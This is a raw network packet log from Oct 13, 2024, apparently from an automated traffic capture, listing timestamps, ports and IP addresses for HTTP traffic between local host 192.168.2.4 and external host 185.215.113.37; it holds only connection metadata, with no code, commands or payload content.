Oct 13, 2024 11:54:13.321403980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321427107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321436882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321458101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321470976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321491957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321502924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321530104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321536064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321557999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321567059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321594954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321603060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321615934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321639061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321662903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321672916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321690083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321732044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.394407988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.399753094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622529984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622591019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622680902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622714996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622749090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622894049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622927904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.622971058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.622971058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623028994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623064995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623099089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623110056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623131037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623142004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623142004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623193979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623207092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623239994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623272896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623298883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623303890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623339891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623342037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623373985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623400927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623414993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623440027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623442888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623471022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623502970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623532057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623536110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623569012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623574972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623600960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623608112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623639107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623639107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623677015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623680115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623707056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623711109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623734951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623744011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623774052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623797894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623851061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623859882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623884916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623918056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623919010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623951912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623951912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.623986959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.623986959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624022007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624022961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624057055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624061108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624085903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624093056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624133110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624135017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624162912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624166965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624197006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624218941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624243975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624253988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624285936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624293089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624322891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624345064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624372959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624381065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624414921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624416113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624450922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624480963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624480963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624483109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624511957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624519110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624551058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624553919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624589920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624593019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624618053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624623060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624655962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624656916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624691010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624718904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624726057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624759912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624794006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624800920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624802113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624845982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624877930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624878883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624878883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624902964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624907017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624939919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624959946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.624974966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.624994993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625026941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625041008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625061989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625062943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625086069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625094891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625123024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625130892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625164032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625164986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625197887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625204086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625225067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625231028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625268936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625300884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625300884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625336885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625344992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625369072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625380993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625391006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625436068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625488043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625502110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625521898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625549078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625554085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625581026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625587940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625612020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625622034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625650883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625655890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625680923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625690937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625725031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625726938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625746012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625756979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625790119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625792027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625813961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625823021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625853062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625864029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625889063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625896931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625929117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625930071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625957966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625963926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.625997066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.625997066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626023054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626034975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626060009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626068115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626097918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626102924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626133919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626136065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626158953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626171112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626199007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626204967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626230955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626239061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626267910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626271963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626301050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626307011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626333952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626342058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626372099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626374960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626401901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626410007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626441002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626442909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626471996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626476049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626508951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626513004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626538992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626543999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626569033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626578093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626606941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626638889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626640081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626672983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626702070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626708031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626737118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626740932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626764059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626776934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626806021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626811028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626842976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626848936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626876116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626878023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.626909971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.626935005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715276957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715348959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715414047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715414047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715435028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715470076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715496063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715506077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715527058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715542078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715570927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715579987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715626001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715632915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715652943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715672970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715723991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715734959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715760946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715797901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715826988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715837955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715883017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715887070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715919018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715954065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.715977907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.715986013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716017008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716022015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716056108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716061115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716074944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716092110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716145992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716150999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716198921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716248989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716263056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716300011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716308117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716352940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716362000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716388941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716412067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716422081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716458082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716475964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716476917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716530085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716533899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716564894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716594934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716600895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716618061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716654062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716656923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716687918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716715097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716722965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716758013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716762066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716793060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716799021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716815948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716845989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716854095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716881037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716905117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716929913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716934919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716964960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.716985941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.716998100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717025995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717036009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717077017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717087984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717107058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717125893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717159986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717186928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717191935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717207909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717226982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717259884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717278004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717279911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717312098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717336893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717364073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717371941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717416048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717436075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717449903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717483044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717483044 CEST	49730	80	192.168.2.4	185.215.113.37
